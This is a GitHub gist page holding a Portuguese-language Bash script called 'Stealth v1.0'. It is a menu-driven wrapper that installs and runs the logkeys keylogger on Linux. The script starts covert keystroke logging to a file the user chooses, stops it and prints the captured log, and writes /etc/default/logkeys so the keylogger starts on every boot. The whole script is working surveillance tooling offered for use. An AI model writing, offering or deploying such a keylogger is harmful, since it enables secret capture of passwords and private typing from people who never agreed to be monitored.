Skip to content

Instantly share code, notes, and snippets.

@danilovazb
Created April 10, 2014 18:21
Show Gist options
  • Save danilovazb/10408949 to your computer and use it in GitHub Desktop.
Save danilovazb/10408949 to your computer and use it in GitHub Desktop.
#!/bin/bash
#
# . . , ,
# |` \/ \/ \,',
# ; ` \/\,.
# : ` \,/
# | /
# ; :
# : ;
# | ,---. /
# : ,' `,-._ \
# ; ( o \ `'
# _: . ,' o ;
# /,.` `.__,'`-.__,
# \_ _ \
# ,' / `, `.,'
# ___,'`-._ \_/ `,._ ;
# __;_,' `-.`-'./ `--.____)
# ,-' _,--\^-'
# ,:_____ ,-' \
# (,' `--. \;-._ ; ~~~~~:> Stealth v1.0 <:~~~~~
# : Y `-/ `, : Autor: Danilo Vaz
# : : : /_;' Data: Ter Jan 1 16:54:37 BRST 2013
# : : | :
# \ \ : :
# `-._ `-.__, \ `.
# \ \ `. \ `.
# ,-; \---)_\ ,','/
# \_ `---'--'" ,'^-;'
# (_` ---'" ,-')
# / `--.__,. ,-' \
# )-.__,-- ||___,--' `-.
# /._______,|__________,'\
# `--.____,'|_________,-'
#
#
#
#
#
# Depuraç: 0 desliga, 1 liga
#DEBUG=1
#Debug(){
# ["$DEBUG" = 1] && echo "$*"
#}
menu ()
{
a="ok"
while true $a !="ok"
do
DIR="/etc/default/logkeys"
clear
echo " ____________________________"
echo " (__) / \ "
echo " (oo) ( Muuuuuuuuuuuuuuuuuuuu!!!! )"
echo " /-------\/ --'\____________________________/ "
echo " / | ||"
echo " * ||----|| "
echo " ^^ ^^ "
echo " "
echo ""
echo -e '\033[32;1m[+]\033[m Stealth v1.0 - By Danilo Vaz'
echo -e '\033[32;1m[+]\033[m Script integration with logkeys'
echo -e '\033[32;1m[+]\033[m Contact: danilovazb[at]gmail.com'
ARQUIVO="/usr/bin/logkeys"
[ -e "$ARQUIVO" ] || {
sleep 1
echo -e '\033[31m[-]\033[m Logkeys nãestánstalado '
echo ""
echo -e '\033[34;1m[?]\033[m Vocêostaria de instalar? s/n'
read INSTALL
case $INSTALL in
s | S)
apt-get install logkeys
;;
n | N)
;;
*)
echo -e '\033[33;1m[!]\033[m Digite apenas S ou N'
;;
esac
}
echo ""
echo -e '\033[36;1m[1]\033[m Ativar keylogger no sistema. '
echo -e '\033[36;1m[2]\033[m Finalizar Keylogger. '
echo -e '\033[36;1m[3]\033[m Ativar Keylogger ao inicializar o sistema.'
echo -e '\033[36;1m[4]\033[m Sair. '
read OPCAO
case $OPCAO in
1)
clear
echo -e '\033[34;1m[?]\033[m Onde gostaria de gravar os logs? - Digite apenas a pasta'
echo -e '\033[34;1mEXEMPLO:\033[m /var/log ou /home/kr1st1n'
read GRAV_LOGS
sleep 1
touch $GRAV_LOGS/kl.log
echo -e '\033[33;1m[!]\033[m Fazendo download do keymap do teclado pt_BR'
sleep 1
wget -O /tmp/pt_BR.map http://wiki.logkeys.googlecode.com/git/keymaps/pt_BR.map
echo -e '\033[33;1m[!]\033[m Ativando Keylogger'
logkeys -s -m /tmp/pt_BR.map -o $GRAV_LOGS/kl.log
;;
2)
echo -e '\033[33;1m[!]\033[m Finalizando Keylogger'
sleep 2
logkeys -k
echo -e '\033[34;1m[?]\033[m Quer visualizar os LOGS? s/n'
read VISU_LOGS
case $VISU_LOGS in
s | S)
cat $GRAV_LOGS/kl.log
;;
n | N)
;;
esac
;;
3)
echo -e '\033[33;1m[!]\033[m Ajustando configuraçs'
sleep 2
echo "" > $DIR
echo "ENABLED=1" >> $DIR
echo "LOGFILE=/var/log/kl.log" >> $DIR
echo "DEVICE=/dev/input/event3" >> $DIR
invoke-rc.d logkeys start
;;
4)
break
;;
esac
done
}
menu
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment